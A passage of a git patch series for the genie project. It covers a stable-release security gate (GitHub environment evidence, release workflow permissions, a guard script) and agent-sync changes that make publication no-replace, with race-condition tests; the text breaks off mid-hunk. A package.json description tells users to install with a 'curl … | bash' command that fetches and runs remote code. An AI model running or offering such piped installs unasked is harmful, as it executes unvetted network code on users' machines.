deletion/update/non-fast-forward on `refs/tags/v*` while leaving tag creation untouched (continuous dev releases unaffected). Evidence: [`qa/github-settings-evidence-20260714.json`](qa/github-settings-evidence-20260714.json). Remaining for G2 closure: observe the gate end-to-end once Group 1 wires `environment: production` into the stable publish job. + +**Plan re-review 2026-07-14 (reviewer agent aca929030341671c0): SHIP — all six gaps resolved, coverage complete (6 SC / 3 QA / 4 IN jointly owned by G1+G2), status persisted APPROVED by the invoking orchestrator.** One LOW non-blocking observation: the dev-flow regression AC exercises dev only, acceptable because the guard is a single `channel == 'stable'` exemption and the homolog branch is dormant. + +**Plan review 2026-07-14 (reviewer agent aca929030341671c0): FIX-FIRST → fixes applied, re-review returned SHIP above.** +Confirmed all four findings real in current code (release-publish.yml standalone dispatch defaults to stable with unvalidated run_id; verify-release.sh cannot verify any real release). Gaps fixed in this plan: (1) HIGH — `environment: production` now channel-scoped to stable only + dev-flow regression AC added; (2) MEDIUM — F16 enumerates all four dispatch entry points; (3) MEDIUM — guards required as testable helpers with fixtures, not inline `${{ }}`; (4) MEDIUM — steal-guard preservation constraint added to F31; (5) LOW-MED — Group 2 evidence must capture prevent-self-review + reviewer set; (6) LOW — verify-release.sh realignment made an explicit deliverable. + +Created as the explicit blocking disposition for inherited findings F16–F18 and F31 from the PR #2545 Ultra review. --- diff --git a/.genie/wishes/stable-release-security-gate/qa/github-settings-evidence-20260714.json b/.genie/wishes/stable-release-security-gate/qa/github-settings-evidence-20260714.json new file mode 100644 index 000000000..b39d6ce5d --- /dev/null +++ b/.genie/wishes/stable-release-security-gate/qa/github-settings-evidence-20260714.json @@ -0,0 +1,132 @@ +{ + "captured_at": "2026-07-14T15:50Z", + "captured_by": "gh api via namastex888 (operator-directed)", + "environment": { + "id": 18140927752, + "node_id": "EN_kwDOPWUnhs8AAAAEOUiXCA", + "name": "production", + "url": "https://api.github.com/repos/automagik-dev/genie/environments/production", + "html_url": "https://github.com/automagik-dev/genie/deployments/activity_log?environments_filter=production", + "created_at": "2026-07-14T15:47:46Z", + "updated_at": "2026-07-14T15:49:13Z", + "can_admins_bypass": false, + "protection_rules": [ + { + "id": 59926737, + "node_id": "GA_kwDOPWUnhs4DkmjR", + "type": "required_reviewers", + "prevent_self_review": true, + "reviewers": [ + { + "type": "User", + "reviewer": { + "login": "namastex888", + "id": 105755034, + "node_id": "U_kgDOBk2xmg", + "avatar_url": "https://avatars.githubusercontent.com/u/105755034?v=4", + "gravatar_id": "", + "url": "https://api.github.com/users/namastex888", + "html_url": "https://github.com/namastex888", + "followers_url": "https://api.github.com/users/namastex888/followers", + "following_url": "https://api.github.com/users/namastex888/following{/other_user}", + "gists_url": "https://api.github.com/users/namastex888/gists{/gist_id}", + "starred_url": "https://api.github.com/users/namastex888/starred{/owner}{/repo}", + "subscriptions_url": "https://api.github.com/users/namastex888/subscriptions", + "organizations_url": "https://api.github.com/users/namastex888/orgs", + "repos_url": "https://api.github.com/users/namastex888/repos", + "events_url": "https://api.github.com/users/namastex888/events{/privacy}", + "received_events_url": "https://api.github.com/users/namastex888/received_events", + "type": "User", + "user_view_type": "public", + "site_admin": false + } + }, + { + "type": "User", + "reviewer": { + "login": "vasconceloscezar", + "id": 97035956, + "node_id": "U_kgDOBcimtA", + "avatar_url": "https://avatars.githubusercontent.com/u/97035956?v=4", + "gravatar_id": "", + "url": "https://api.github.com/users/vasconceloscezar", + "html_url": "https://github.com/vasconceloscezar", + "followers_url": "https://api.github.com/users/vasconceloscezar/followers", + "following_url": "https://api.github.com/users/vasconceloscezar/following{/other_user}", + "gists_url": "https://api.github.com/users/vasconceloscezar/gists{/gist_id}", + "starred_url": "https://api.github.com/users/vasconceloscezar/starred{/owner}{/repo}", + "subscriptions_url": "https://api.github.com/users/vasconceloscezar/subscriptions", + "organizations_url": "https://api.github.com/users/vasconceloscezar/orgs", + "repos_url": "https://api.github.com/users/vasconceloscezar/repos", + "events_url": "https://api.github.com/users/vasconceloscezar/events{/privacy}", + "received_events_url": "https://api.github.com/users/vasconceloscezar/received_events", + "type": "User", + "user_view_type": "public", + "site_admin": false + } + } + ] + }, + { + "id": 59926738, + "node_id": "GA_kwDOPWUnhs4DkmjS", + "type": "branch_policy" + } + ], + "deployment_branch_policy": { + "protected_branches": false, + "custom_branch_policies": true + } + }, + "deployment_branch_policies": { + "total_count": 1, + "branch_policies": [ + { + "id": 54625915, + "node_id": "MDE2OkdhdGVCcmFuY2hQb2xpY3k1NDYyNTkxNQ==", + "name": "v*", + "type": "tag" + } + ] + }, + "ruleset": { + "id": 18938286, + "name": "v-tags-immutable", + "target": "tag", + "source_type": "Repository", + "source": "automagik-dev/genie", + "enforcement": "active", + "conditions": { + "ref_name": { + "exclude": [], + "include": [ + "refs/tags/v*" + ] + } + }, + "rules": [ + { + "type": "deletion" + }, + { + "type": "non_fast_forward" + }, + { + "type": "update" + } + ], + "node_id": "RRS_lACqUmVwb3NpdG9yec49ZSeGzgEg-a4", + "created_at": "2026-07-14T12:49:48.021-03:00", + "updated_at": "2026-07-14T12:49:48.051-03:00", + "bypass_actors": [], + "current_user_can_bypass": "never", + "_links": { + "self": { + "href": "https://api.github.com/repos/automagik-dev/genie/rulesets/18938286" + }, + "html": { + "href": "https://github.com/automagik-dev/genie/rules/18938286" + } + } + } +} From 7a4d05a5c246585bb4674fc0011a6a96b5e7e2a0 Mon Sep 17 00:00:00 2001 From: Felipe Date: Tue, 14 Jul 2026 13:53:43 -0300 Subject: [PATCH 08/20] fix(release): grant actions:read to publish caller; harden guard script MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Codex P1 on PR #2585: release-publish.yml's guard job requests actions:read but the orchestrated caller granted only contents:write/id-token:write — a called workflow cannot elevate past its caller, so every release.yml-driven release (dev included) would fail at workflow initialization. Grant the permission on the caller. Also: validate RUN_ID grammar before probing for gh (fail-closed exit 3 even without the CLI installed) and clean the provenance temp file via EXIT trap (${tmp:-} because the trap outlives the function local under set -u). Bot-comment triage recorded in WISH.md. Co-Authored-By: Claude Fable 5 --- .genie/wishes/stable-release-security-gate/WISH.md | 2 ++ .github/workflows/release.yml | 3 +++ scripts/release-guard.sh | 10 ++++++---- 3 files changed, 11 insertions(+), 4 deletions(-) diff --git a/.genie/wishes/stable-release-security-gate/WISH.md b/.genie/wishes/stable-release-security-gate/WISH.md index 325b1fac1..cbdf50fbf 100644 --- a/.genie/wishes/stable-release-security-gate/WISH.md +++ b/.genie/wishes/stable-release-security-gate/WISH.md @@ -128,6 +128,8 @@ bun test ## Review Results +**PR #2585 bot-comment triage 2026-07-14 (verified against code, per PR Review Rules):** Codex P1 **confirmed real and merge-blocking** — release.yml's `publish` caller granted only `contents: write`/`id-token: write` while the called release-publish.yml guard job requests `actions: read`; a called workflow cannot elevate past its caller, so every orchestrated release (dev included) would have failed at workflow init. Missed by the execution review; uncatchable by PR CI (release workflows don't run on PRs). Fixed by granting `actions: read` on the caller. Codex P2 (run_id validated before gh presence probe) and Gemini mktemp-leak (severity inflated; fixed via `${tmp:-}` EXIT trap) also applied. Codex P2 sidecar-rollback = the already-recorded LOW follow-up. Gemini subshell-exit rejected: `set -euo pipefail` propagates the subshell's exit 5 and the exit-code contract is fixture-tested. + **Group 1 execution review 2026-07-14 (reviewer aca929030341671c0, adversarial, independent of the engineer): SHIP.** Branch `wish/stable-release-security-gate`, commits `d4b4b31b` + `7bd90757` + `b3593c4b` (13 files, +1128/−80). All 7 verification legs PASS with the reviewer re-deriving evidence itself (guard `needs:` wiring at all 4 entry points, provenance-binding negatives, dev-flow trace, `.steal` digest recomputation, fingerprint-witness contract, upstream SHA-pin resolution, gates re-run). Three advisory non-blocking follow-ups recorded: - **MEDIUM:** break-glass recovery binds `head_branch == v`, but the runs API may return `head_branch: null` for tag events — fails closed (no security hole) but the operator recovery path is unproven against real API shape; prefer `head_sha` binding or an integration probe. - **LOW:** rollback restores only the binary, not sidecars (VERSION/plugins) — practically unreachable, documented in-code. diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index cb3489e0c..ad40807a5 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -110,6 +110,9 @@ jobs: permissions: contents: write # gh release create/upload + push latest.json commit id-token: write # reserved for any OIDC-using publish-time verifiers + actions: read # release-publish's guard job reads upstream run records; + # a called workflow cannot elevate past the caller, so the + # orchestrated path fails at init without this grant # secrets: inherit removed (F18) — release-publish only reads GITHUB_TOKEN. with: version: ${{ needs.sign-attest.outputs.version }} diff --git a/scripts/release-guard.sh b/scripts/release-guard.sh index f8afdca3e..60d3204d9 100755 --- a/scripts/release-guard.sh +++ b/scripts/release-guard.sh @@ -124,18 +124,20 @@ guard_run_provenance() { note "no upstream run_id supplied (orchestrated same-run path); skipping provenance check" return 0 fi - command -v gh >/dev/null 2>&1 || misuse "gh CLI is required for guard-run-provenance" + # Validate inputs before probing the environment so malformed input is + # rejected (exit 3) even on hosts without the gh CLI. + [[ "$run_id" =~ ^[0-9]+$ ]] || fail "run_id '${run_id}' is not a numeric run id" local expected_repo="${EXPECTED_REPO:-}" [[ -n "$expected_repo" ]] || misuse "guard-run-provenance needs EXPECTED_REPO" - [[ "$run_id" =~ ^[0-9]+$ ]] || fail "run_id '${run_id}' is not a numeric run id" + command -v gh >/dev/null 2>&1 || misuse "gh CLI is required for guard-run-provenance" local tmp tmp="$(mktemp)" + # ${tmp:-} because the EXIT trap outlives this function's local under set -u. + trap 'rm -f "${tmp:-}"' EXIT if ! gh api "repos/${expected_repo}/actions/runs/${run_id}" >"$tmp" 2>/dev/null; then - rm -f "$tmp" fail "could not fetch upstream run ${run_id} from ${expected_repo} (bad run_id or insufficient token scope)" fi check_run_provenance "$tmp" - rm -f "$tmp" } main() { From 1b5242d44458bcf9c0246631246d987ed8963453 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 14 Jul 2026 16:59:22 +0000 Subject: [PATCH 09/20] chore(version): bump to 5.260714.5 [auto-version] --- .claude-plugin/marketplace.json | 2 +- package.json | 2 +- plugins/genie/.claude-plugin/plugin.json | 2 +- plugins/genie/.codex-plugin/plugin.json | 2 +- plugins/genie/package.json | 2 +- plugins/hermes-genie/plugin.yaml | 2 +- 6 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.claude-plugin/marketplace.json b/.claude-plugin/marketplace.json index 7f9918710..d50a88aaa 100644 --- a/.claude-plugin/marketplace.json +++ b/.claude-plugin/marketplace.json @@ -10,7 +10,7 @@ "plugins": [ { "name": "genie", - "version": "5.260714.4", + "version": "5.260714.5", "source": "./plugins/genie", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, wish them into plans, make with parallel agents, ship as one team. A coding genie that grows with your project." } diff --git a/package.json b/package.json index 44a78c2cf..858e9107f 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "@automagik/genie", - "version": "5.260714.4", + "version": "5.260714.5", "description": "Collaborative terminal toolkit for human + AI workflows. NOTE: npm distribution discontinued 2026-05-09 — install via `curl -fsSL https://raw.githubusercontent.com/automagik-dev/genie/main/install.sh | bash` (cosign + SLSA verified). See https://automagik.dev/genie/release-process", "license": "MIT", "type": "module", diff --git a/plugins/genie/.claude-plugin/plugin.json b/plugins/genie/.claude-plugin/plugin.json index e0086f99b..7619c5db6 100644 --- a/plugins/genie/.claude-plugin/plugin.json +++ b/plugins/genie/.claude-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260714.4", + "version": "5.260714.5", "description": "Human-AI partnership for Claude Code. Share a terminal, orchestrate workers, evolve together. Brainstorm ideas, turn them into wishes, execute with /work, validate with /review, and ship as one team.", "author": { "name": "Namastex Labs" diff --git a/plugins/genie/.codex-plugin/plugin.json b/plugins/genie/.codex-plugin/plugin.json index bd0260a37..295d3033c 100644 --- a/plugins/genie/.codex-plugin/plugin.json +++ b/plugins/genie/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "genie", - "version": "5.260714.4", + "version": "5.260714.5", "description": "Plan, execute, review, and ship software with Genie workflows in Codex.", "author": { "name": "Namastex Labs", diff --git a/plugins/genie/package.json b/plugins/genie/package.json index 503dbaf12..b022760e2 100644 --- a/plugins/genie/package.json +++ b/plugins/genie/package.json @@ -1,6 +1,6 @@ { "name": "genie-plugin", - "version": "5.260714.4", + "version": "5.260714.5", "private": true, "description": "Runtime dependencies for genie bundled CLIs", "license": "MIT", diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index 172e75322..a15073a40 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,5 +1,5 @@ name: genie -version: 5.260714.4 +version: 5.260714.5 description: "Native Hermes surface for Genie orchestration: read-only status plus work-plan and review-plan gap tools that the MCP board surface does not cover, hooks, commands, and a thin cockpit skill. Board/task truth comes from the genie MCP tools." provides_tools: # Default surface: exactly the three gap tools the MCP board surface does not cover. From 415acbea70020c93281f982fbb296b9b155ae5c1 Mon Sep 17 00:00:00 2001 From: namastex888 Date: Tue, 14 Jul 2026 14:04:14 -0300 Subject: [PATCH 10/20] fix(agent-sync): preserve no-replace delivery boundaries --- src/genie-commands/uninstall.test.ts | 18 + src/lib/agent-sync.test.ts | 259 ++++++++++- src/lib/agent-sync.ts | 642 +++++++++++++++++++++++++-- 3 files changed, 871 insertions(+), 48 deletions(-) diff --git a/src/genie-commands/uninstall.test.ts b/src/genie-commands/uninstall.test.ts index 10babd6ed..69e40fcf6 100644 --- a/src/genie-commands/uninstall.test.ts +++ b/src/genie-commands/uninstall.test.ts @@ -984,6 +984,24 @@ describe('agent-sync managed-asset removal', () => { expect(readFileSync(manifestPath)).toEqual(manifestBytes); }); + test('an absent GENIE_HOME still permits backup-first removal of an external manifest-owned agent', () => { + const scout = managedAgent('scout.md', '# shipped outside an absent home\n'); + const agentsDir = join(claudeDir, 'agents'); + const manifestPath = join(agentsDir, '.genie-sync.json'); + rmSync(genieHome, { recursive: true, force: true }); + expect(existsSync(genieHome)).toBe(false); + + const result = removeAgentSyncAssets(targets()); + + expect(result.failures).toEqual([]); + expect(result.removed).toEqual([scout]); + expect(existsSync(scout)).toBe(false); + expect(existsSync(manifestPath)).toBe(false); + expect(readAgentFilesManifest(agentsDir)).toBeNull(); + expect(readFileSync(uninstallBackupCollisionPath(), 'utf8')).toBe('# shipped outside an absent home\n'); + expect(existsSync(join(genieHome, '.agent-sync.lock'))).toBe(false); + }); + test('fixed staging debris remains byte-identical while two uninstall runs converge', () => { const scout = managedAgent('scout.md', '# shipped scout\n'); const agentsDir = join(claudeDir, 'agents'); diff --git a/src/lib/agent-sync.test.ts b/src/lib/agent-sync.test.ts index 3b2de4c2d..e683b29a3 100644 --- a/src/lib/agent-sync.test.ts +++ b/src/lib/agent-sync.test.ts @@ -612,6 +612,152 @@ describe('claude agent fan-out', () => { expect(readAgentFilesManifest(agentsDir)?.files['scout.md']).toBeUndefined(); }); + test('a foreign manifest racing a captured base is never replaced and rolls back agent bytes', () => { + present(fixture.claudeDir); + run(); + const agentsDir = join(fixture.claudeDir, 'agents'); + const scoutPath = join(agentsDir, 'scout.md'); + const manifestPath = join(agentsDir, MANIFEST_NAME); + const scoutBefore = readFileSync(scoutPath); + const manifestBefore = readFileSync(manifestPath); + const foreignBytes = Buffer.from('foreign manifest installed after base capture\n'); + let crossedPublishBarrier = false; + writeSourceAgent(fixture.pluginRoot, 'scout', '# scout v2\n'); + + const claude = agentReport( + run({ + beforeAgentManifestPublish: ({ path }) => { + crossedPublishBarrier = true; + expect(path).toBe(manifestPath); + expect(existsSync(path)).toBe(false); + writeFileSync(path, foreignBytes); + }, + }), + 'claude', + ); + + expect(crossedPublishBarrier).toBe(true); + expect(readFileSync(manifestPath)).toEqual(foreignBytes); + expect(readFileSync(scoutPath)).toEqual(scoutBefore); + expect(claude.failures?.join('\n')).toContain('agent transaction did not commit'); + expect(claude.advisories.some((line) => line.includes('target preserved'))).toBe(true); + expect(claude.advisories.some((line) => line.includes('preserved previous manifest'))).toBe(true); + const priorManifestDir = readdirSync(agentsDir).find((name) => name.startsWith(`.${MANIFEST_NAME}.manifest-old-`)); + expect(priorManifestDir).toBeDefined(); + expect(readFileSync(join(agentsDir, priorManifestDir as string, 'object'))).toEqual(manifestBefore); + }); + + test('a foreign manifest racing an absent base is never replaced and new agent files roll back', () => { + present(fixture.claudeDir); + const agentsDir = join(fixture.claudeDir, 'agents'); + const manifestPath = join(agentsDir, MANIFEST_NAME); + const foreignBytes = Buffer.from('foreign manifest installed into absent base\n'); + let crossedPublishBarrier = false; + + const claude = agentReport( + run({ + beforeAgentManifestPublish: ({ path }) => { + crossedPublishBarrier = true; + expect(path).toBe(manifestPath); + expect(existsSync(path)).toBe(false); + writeFileSync(path, foreignBytes); + }, + }), + 'claude', + ); + + expect(crossedPublishBarrier).toBe(true); + expect(readFileSync(manifestPath)).toEqual(foreignBytes); + expect(existsSync(join(agentsDir, 'scout.md'))).toBe(false); + expect(existsSync(join(agentsDir, 'reviewer.md'))).toBe(false); + expect(claude.failures?.join('\n')).toContain('agent transaction did not commit'); + expect(claude.advisories.some((line) => line.includes('target preserved'))).toBe(true); + }); + + test('portable manifest fallback commits only after the live target reaches nlink=1', () => { + present(fixture.claudeDir); + const agentsDir = join(fixture.claudeDir, 'agents'); + const manifestPath = join(agentsDir, MANIFEST_NAME); + + const claude = agentReport(run({ agentManifestPublishOptions: { forcePortable: true } }), 'claude'); + + expect(claude.failures).toBeUndefined(); + expect(readAgentFilesManifest(agentsDir)?.files['scout.md']).toBeDefined(); + expect(lstatSync(manifestPath).nlink).toBe(1); + }); + + test('portable manifest cleanup failure unpublishes the linked inode and restores the prior base', () => { + present(fixture.claudeDir); + run(); + const agentsDir = join(fixture.claudeDir, 'agents'); + const scoutPath = join(agentsDir, 'scout.md'); + const manifestPath = join(agentsDir, MANIFEST_NAME); + const scoutBefore = readFileSync(scoutPath); + const manifestBefore = readFileSync(manifestPath); + let crossedCleanupBarrier = false; + writeSourceAgent(fixture.pluginRoot, 'scout', '# scout v2\n'); + + const claude = agentReport( + run({ + agentManifestPublishOptions: { + forcePortable: true, + beforePortableStageNameCleanup: ({ path, capturedStagePath }) => { + crossedCleanupBarrier = true; + expect(path).toBe(manifestPath); + expect(lstatSync(path).nlink).toBe(2); + expect(lstatSync(capturedStagePath).nlink).toBe(2); + throw new Error('injected portable stage-name cleanup failure'); + }, + }, + }), + 'claude', + ); + + expect(crossedCleanupBarrier).toBe(true); + expect(readFileSync(manifestPath)).toEqual(manifestBefore); + expect(lstatSync(manifestPath).nlink).toBe(1); + expect(readFileSync(scoutPath)).toEqual(scoutBefore); + expect(claude.failures?.join('\n')).toContain('agent transaction did not commit'); + expect(claude.advisories.join('\n')).toContain('injected portable stage-name cleanup failure'); + expect(readdirSync(agentsDir).some((name) => name.includes(`${MANIFEST_NAME}.genie-sync.staging-`))).toBe(false); + }); + + test('portable cleanup failure preserves a foreign manifest replacement without a multiply-linked live file', () => { + present(fixture.claudeDir); + run(); + const agentsDir = join(fixture.claudeDir, 'agents'); + const scoutPath = join(agentsDir, 'scout.md'); + const manifestPath = join(agentsDir, MANIFEST_NAME); + const scoutBefore = readFileSync(scoutPath); + const manifestBefore = readFileSync(manifestPath); + const foreignBytes = Buffer.from('foreign manifest at portable cleanup barrier\n'); + writeSourceAgent(fixture.pluginRoot, 'scout', '# scout v2\n'); + + const claude = agentReport( + run({ + agentManifestPublishOptions: { + forcePortable: true, + beforePortableStageNameCleanup: ({ path }) => { + rmSync(path); + writeFileSync(path, foreignBytes); + throw new Error('portable cleanup failed after foreign replacement'); + }, + }, + }), + 'claude', + ); + + expect(readFileSync(manifestPath)).toEqual(foreignBytes); + expect(lstatSync(manifestPath).nlink).toBe(1); + expect(readFileSync(scoutPath)).toEqual(scoutBefore); + expect(claude.failures?.join('\n')).toContain('agent transaction did not commit'); + expect(claude.advisories.some((line) => line.includes('preserved previous manifest'))).toBe(true); + const priorManifestDir = readdirSync(agentsDir).find((name) => name.startsWith(`.${MANIFEST_NAME}.manifest-old-`)); + expect(priorManifestDir).toBeDefined(); + expect(readFileSync(join(agentsDir, priorManifestDir as string, 'object'))).toEqual(manifestBefore); + expect(readdirSync(agentsDir).some((name) => name.includes(`${MANIFEST_NAME}.genie-sync.staging-`))).toBe(false); + }); + test('a clean orphan is restored exactly when its ownership commit fails', () => { present(fixture.claudeDir); run(); @@ -2299,7 +2445,118 @@ describe('cross-process sync lock', () => { expect(existsSync(join(fixture.claudeDir, 'skills'))).toBe(false); expect(existsSync(join(fixture.genieHome, MARKER_NAME))).toBe(false); expect(lines.some((line) => line.includes('failed closed'))).toBe(true); - expect(() => acquireAgentSyncLock(join(fixture.root, 'not-a-directory'))).toThrow(AgentSyncLockError); + const notADirectory = join(fixture.root, 'not-a-directory'); + writeFileSync(notADirectory, 'foreign regular file\n'); + expect(() => acquireAgentSyncLock(notADirectory)).toThrow(AgentSyncLockError); + const physicalHome = join(fixture.root, 'physical-home'); + const symlinkHome = join(fixture.root, 'symlink-home'); + mkdirSync(physicalHome); + symlinkSync(physicalHome, symlinkHome); + expect(() => acquireAgentSyncLock(symlinkHome)).toThrow(AgentSyncLockError); + expect(lstatSync(symlinkHome).isSymbolicLink()).toBe(true); + }); + + test('an absent GENIE_HOME is created for locking and released without lock or staging debris', () => { + const absentHome = join(fixture.root, 'absent-genie-home'); + + const lock = acquireAgentSyncLock(absentHome); + + expect(lock).not.toBeNull(); + expect(existsSync(join(absentHome, LOCK_NAME))).toBe(true); + lock?.release(); + expect(existsSync(join(absentHome, LOCK_NAME))).toBe(false); + if (existsSync(absentHome)) expect(readdirSync(absentHome)).toEqual([]); + expect(readdirSync(fixture.root).some((name) => name.startsWith('.absent-genie-home.agent-sync-home-stage-'))).toBe( + false, + ); + }); + + test('a foreign physical GENIE_HOME winning the prepublish race is treated as existing and preserved', () => { + const racedHome = join(fixture.root, 'raced-genie-home'); + let stagedHome = ''; + const foreignIdentity = { dev: -1, ino: -1, mode: -1 }; + + const lock = acquireAgentSyncLock(racedHome, { + beforeHomePublish: ({ path, stagePath }) => { + stagedHome = stagePath; + mkdirSync(path); + const stat = lstatSync(path); + foreignIdentity.dev = stat.dev; + foreignIdentity.ino = stat.ino; + foreignIdentity.mode = stat.mode; + }, + }); + + expect(lock).not.toBeNull(); + expect(existsSync(stagedHome)).toBe(false); + expect(existsSync(join(racedHome, LOCK_NAME))).toBe(true); + lock?.release(); + const after = lstatSync(racedHome); + expect({ dev: after.dev, ino: after.ino, mode: after.mode }).toEqual(foreignIdentity); + expect(readdirSync(racedHome)).toEqual([]); + }); + + test('portable home publication never overwrites or later deletes a foreign directory replacing its mkdir claim', () => { + const racedHome = join(fixture.root, 'portable-raced-genie-home'); + const displacedClaim = join(fixture.root, 'portable-displaced-home-claim'); + let stagedHome = ''; + const foreignIdentity = { dev: -1, ino: -1, mode: -1 }; + + const lock = acquireAgentSyncLock(racedHome, { + forcePortableHomePublish: true, + afterPortableHomeClaim: ({ path, stagePath }) => { + stagedHome = stagePath; + renameSync(path, displacedClaim); + mkdirSync(path); + const stat = lstatSync(path); + foreignIdentity.dev = stat.dev; + foreignIdentity.ino = stat.ino; + foreignIdentity.mode = stat.mode; + }, + }); + + expect(lock).not.toBeNull(); + expect(stagedHome).not.toBe(''); + expect(existsSync(stagedHome)).toBe(false); + expect(existsSync(join(racedHome, LOCK_NAME))).toBe(true); + lock?.release(); + const after = lstatSync(racedHome); + expect({ dev: after.dev, ino: after.ino, mode: after.mode }).toEqual(foreignIdentity); + expect(readdirSync(racedHome)).toEqual([]); + expect(lstatSync(displacedClaim).isDirectory()).toBe(true); + }); + + test('portable home publication fails closed and preserves a symlink replacing its mkdir claim', () => { + const racedHome = join(fixture.root, 'portable-symlink-raced-genie-home'); + const displacedClaim = join(fixture.root, 'portable-symlink-displaced-home-claim'); + const victim = join(fixture.root, 'portable-home-symlink-victim'); + let stagedHome = ''; + const foreignIdentity = { dev: -1, ino: -1, mode: -1 }; + mkdirSync(victim); + + expect(() => + acquireAgentSyncLock(racedHome, { + forcePortableHomePublish: true, + afterPortableHomeClaim: ({ path, stagePath }) => { + stagedHome = stagePath; + renameSync(path, displacedClaim); + symlinkSync(victim, path); + const stat = lstatSync(path); + foreignIdentity.dev = stat.dev; + foreignIdentity.ino = stat.ino; + foreignIdentity.mode = stat.mode; + }, + }), + ).toThrow(AgentSyncLockError); + + expect(stagedHome).not.toBe(''); + expect(existsSync(stagedHome)).toBe(false); + const after = lstatSync(racedHome); + expect(after.isSymbolicLink()).toBe(true); + expect({ dev: after.dev, ino: after.ino, mode: after.mode }).toEqual(foreignIdentity); + expect(readlinkSync(racedHome)).toBe(victim); + expect(readdirSync(victim)).toEqual([]); + expect(lstatSync(displacedClaim).isDirectory()).toBe(true); }); test('a foreign owner replacement installed after release capture survives byte-for-byte', () => { diff --git a/src/lib/agent-sync.ts b/src/lib/agent-sync.ts index 98908420f..492190922 100644 --- a/src/lib/agent-sync.ts +++ b/src/lib/agent-sync.ts @@ -186,6 +186,10 @@ export interface AgentSyncOptions { beforeAgentFileMutation?: (event: AgentFileMutationEvent) => void; /** Fault-injection barrier after the shared manifest transaction is staged and before its atomic commit. */ beforeAgentManifestCommit?: (event: AgentManifestCommitEvent) => void; + /** Deterministic race barrier after the old manifest is captured and immediately before no-replace publish. */ + beforeAgentManifestPublish?: (event: AgentManifestCommitEvent) => void; + /** Injectable portable-manifest publication dependencies for boundary regressions. */ + agentManifestPublishOptions?: AgentManifestPublishOptions; /** Deterministic lock lifecycle seams used by boundary-level regression tests. */ lockOptions?: AgentSyncLockOptions; } @@ -212,6 +216,19 @@ export interface AgentManifestCommitEvent { stagePath: string; } +export interface PortableManifestStageCleanupEvent { + path: string; + stagePath: string; + capturedStagePath: string; +} + +export interface AgentManifestPublishOptions { + /** Force the hard-link fallback even when the host exposes native NOREPLACE rename. */ + forcePortable?: boolean; + /** Deterministic failure/race barrier after the stage name is captured but before it is retired. */ + beforePortableStageNameCleanup?: (event: PortableManifestStageCleanupEvent) => void; +} + export interface AgentSyncLockMutationEvent { operation: 'release' | 'stale-remove'; path: string; @@ -221,6 +238,12 @@ export interface AgentSyncLockMutationEvent { export interface AgentSyncLockOptions { /** Deterministic barrier after a generation is prepared and before its atomic publish. */ beforePublish?: (event: { path: string }) => void; + /** Deterministic barrier after a missing GENIE_HOME is staged and before its atomic publish. */ + beforeHomePublish?: (event: { path: string; stagePath: string }) => void; + /** Force missing-home publication through the portable mkdir commit (test seam). */ + forcePortableHomePublish?: boolean; + /** Deterministic barrier after the portable mkdir commit and before the live home is inspected. */ + afterPortableHomeClaim?: (event: { path: string; stagePath: string }) => void; /** Deterministic barrier after the lock pathname is captured and before the captured object is finalized. */ afterCapture?: (event: AgentSyncLockMutationEvent) => void; } @@ -342,6 +365,8 @@ interface RunContext { beforeManagedDirRemoval?: (destDir: string, stage: 'before-park' | 'before-delete') => void; beforeAgentFileMutation?: AgentSyncOptions['beforeAgentFileMutation']; beforeAgentManifestCommit?: AgentSyncOptions['beforeAgentManifestCommit']; + beforeAgentManifestPublish?: AgentSyncOptions['beforeAgentManifestPublish']; + agentManifestPublishOptions?: AgentSyncOptions['agentManifestPublishOptions']; } interface SourceSkill { @@ -758,9 +783,19 @@ function createFileStage(targetPath: string, content: Buffer): FileStage { /** The staged payload is still the exact object this run wrote (identity + bytes). */ function fileStageOwned(stage: FileStage): boolean { + return fileStagePayloadMatches(stage, stage.path); +} + +/** Identity + byte check for a staged inode after one of its names has moved. */ +function fileStagePayloadMatches(stage: FileStage, path: string): boolean { try { - const stat = lstatSync(stage.path); - return stat.isFile() && sameObjectIdentity(stage.stat, stat) && readFileSync(stage.path).equals(stage.bytes); + const stat = lstatSync(path); + return ( + stat.isFile() && + !stat.isSymbolicLink() && + sameObjectIdentity(stage.stat, stat) && + readFileSync(path).equals(stage.bytes) + ); } catch { return false; } @@ -800,10 +835,24 @@ function consumeFileStageName(stage: FileStage): string | null { } catch (error) { if (!isNodeErrorCode(error, 'ENOENT')) return `could not remove staged name ${stage.path}: ${errMsg(error)}`; } - removeEmptyDirSafe(stage.dir); + try { + removeEmptyDirSafe(stage.dir); + } catch (error) { + return `could not remove staged directory ${stage.dir}: ${errMsg(error)}`; + } return null; } +/** Cleanup after a native atomic manifest publish; the staged name was consumed by rename. */ +function finishNativeCommittedFileStage(stage: FileStage): string | null { + try { + removeEmptyDirSafe(stage.dir); + return null; + } catch (error) { + return `could not remove staged directory ${stage.dir}: ${errMsg(error)}`; + } +} + function removeEmptyDirSafe(path: string): void { try { rmdirSync(path); @@ -2131,6 +2180,67 @@ export function atomicRenameDirectoryNoClobber(stagedDir: string, targetDir: str publishDirectoryViaNameClaim(stagedDir, targetDir); // was: throw unsupported — now portable & no-clobber } +type RegularFileNoClobberPublish = 'renamed' | 'linked'; + +/** + * Publish one staged regular file while atomically rejecting every existing + * target inode. Linux and Darwin consume the staged name with their native + * no-replace rename primitive. Other platforms (and Linux without renameat2) + * use a hard link as an exclusive reservation; the caller treats it as + * committed only after retiring the extra name and verifying a safe nlink=1. + */ +function atomicRenameRegularFileNoClobber( + stagedFile: string, + targetFile: string, + deps: NoClobberDeps = {}, + forcePortable = false, +): RegularFileNoClobberPublish { + const stagedStat = lstatSync(stagedFile); + if (!stagedStat.isFile() || stagedStat.isSymbolicLink()) { + throw new Error(`atomic publish source is not a physical regular file: ${stagedFile}`); + } + const stagedPath = Buffer.from(`${stagedFile}\0`); + const targetPath = Buffer.from(`${targetFile}\0`); + if (!forcePortable && process.platform === 'linux') { + const rn 